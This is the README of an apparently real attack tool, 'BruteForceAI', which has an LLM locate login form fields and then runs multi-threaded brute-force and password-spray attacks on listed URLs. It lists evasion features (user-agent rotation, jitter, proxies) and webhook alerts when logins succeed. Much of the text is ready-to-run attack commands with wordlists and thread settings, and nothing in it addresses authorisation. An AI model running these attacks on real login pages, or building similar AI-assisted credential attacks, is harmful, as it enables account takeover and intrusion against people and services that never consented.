🤖 BruteForceAI - AI-Powered Login Brute Force Tool

---

🎯 About

BruteForceAI is an advanced penetration testing tool that revolutionizes traditional brute-force attacks by integrating Large Language Models (LLM) for intelligent form analysis. The tool automatically identifies login form selectors using AI, then executes sophisticated multi-threaded attacks with human-like behavior patterns.

🧠 LLM-Powered Form Analysis

• Stage 1 (AI Analysis): LLM analyzes HTML content to identify login form elements and selectors
• Stage 2 (Smart Attack): Executes intelligent brute-force attacks using AI-discovered selectors

🚀 Advanced Attack Features

• Multi-threaded execution with synchronized delays
• Bruteforce & Password Spray attack modes
• Human-like timing with jitter and randomization
• User-Agent rotation for better evasion
• Webhook notifications (Discord, Slack, Teams, Telegram)
• Comprehensive logging with SQLite database

---

🌟 Star History

---

✨ Features

🔍 Intelligent Analysis

• LLM-powered form selector identification (Ollama/Groq)
• Automatic retry with feedback learning
• DOM change detection for success validation
• Smart HTML content extraction

⚡ Advanced Attacks

• Bruteforce Mode: Try all username/password combinations
• Password Spray Mode: Test each password against all usernames
• Multi-threaded execution (1-100+ threads)
• Synchronized delays between attempts for same user

🎭 Evasion Techniques

• Random User-Agent rotation
• Configurable delays with jitter
• Human-like timing patterns
• Proxy support
• Browser visibility control

📊 Monitoring & Notifications

• Real-time webhook notifications on success
• Comprehensive SQLite logging
• Verbose timestamped output
• Success exit after first valid credentials
• Skip existing attempts (duplicate prevention)

🛠️ Operational Features

• Output capture to files
• Colorful terminal interface
• Network error retry mechanism
• Force retry existing attempts
• Database management tools
• Automatic update checking from mordavid.com

---

🔧 Installation

Prerequisites

# Python 3.8 or higher
python --version

Set Up a Virtual Environment (recommended)

Keep dependencies isolated from your system Python using the built-in venv:

# 1. Create a virtual environment
python -m venv .venv

# 2. Activate it
#   Windows (PowerShell):
.venv\Scripts\Activate.ps1
#   Windows (cmd):
.venv\Scripts\activate.bat
#   macOS / Linux:
source .venv/bin/activate

Note: The python -m venv .venv step is only needed once. In every new terminal session, re-run the activation command (step 2) before using the tool. To leave the virtual environment, run deactivate.

Install Dependencies

# Install Python packages
pip install -r requirements.txt

# Install the Playwright browser
playwright install chromium

Required packages:

• playwright - Browser automation
• requests - HTTP requests
• PyYAML - YAML parsing for update checks

LLM Setup

Option 1: Ollama (Local)

# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh

# Pull recommended model
ollama pull llama3.2:3b

Option 2: Groq (Cloud)

1. Get API key from Groq Console
2. Use with --llm-provider groq --llm-api-key YOUR_KEY

🧠 Model Selection & Performance

Recommended Models by Provider

Ollama (Local):

• llama3.2:3b - Default, good balance of speed and quality
• llama3.2:1b - Fastest, smaller model for quick analysis
• qwen2.5:3b - Alternative with good performance

Groq (Cloud):

• llama-3.3-70b-versatile - Default & Best - Latest model with superior quality (1 attempt)
• llama3-70b-8192 - Fast and reliable alternative (1 attempt)
• gemma2-9b-it - Lightweight option, good for simple forms (1 attempt)
• llama-3.1-8b-instant - ⚠️ Not recommended (rate limiting issues, 3+ attempts)

Performance Tips

# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY

# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY

# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY

# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

---

📖 Usage

Basic Commands

Stage 1: Analyze Login Forms

python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama

Stage 2: Execute Attack

python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10

Command Structure

python BruteForceAI.py <command> [options]

Available Commands

• analyze - Analyze login forms with LLM
• attack - Execute brute-force attacks
• clean-db - Clean database tables
• check-updates - Check for software updates

---

🎯 Examples

1. Complete Workflow

# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2

2. Advanced Attack Configuration

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 10 \
  --jitter 3 \
  --success-exit \
  --user-agents user_agents.txt \
  --verbose \
  --output results.txt

3. With Webhook Notifications

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --threads 10

4. Browser Debugging

python BruteForceAI.py analyze \
  --urls targets.txt \
  --show-browser \
  --browser-wait 5 \
  --debug \
  --llm-provider ollama

5. Check for Updates

# Check for software updates
python BruteForceAI.py check-updates

# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt

Skip Version Check

# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check